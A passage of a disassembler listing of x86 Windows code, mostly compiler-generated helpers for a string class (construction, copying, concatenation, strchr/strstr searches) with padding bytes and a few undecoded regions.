; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		call	near ptr 28218E7h
		nop
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		nop
		call	near ptr 2821C6Bh
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		nop
		call	sub_5EFFD5
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0A9E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EFFD5
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
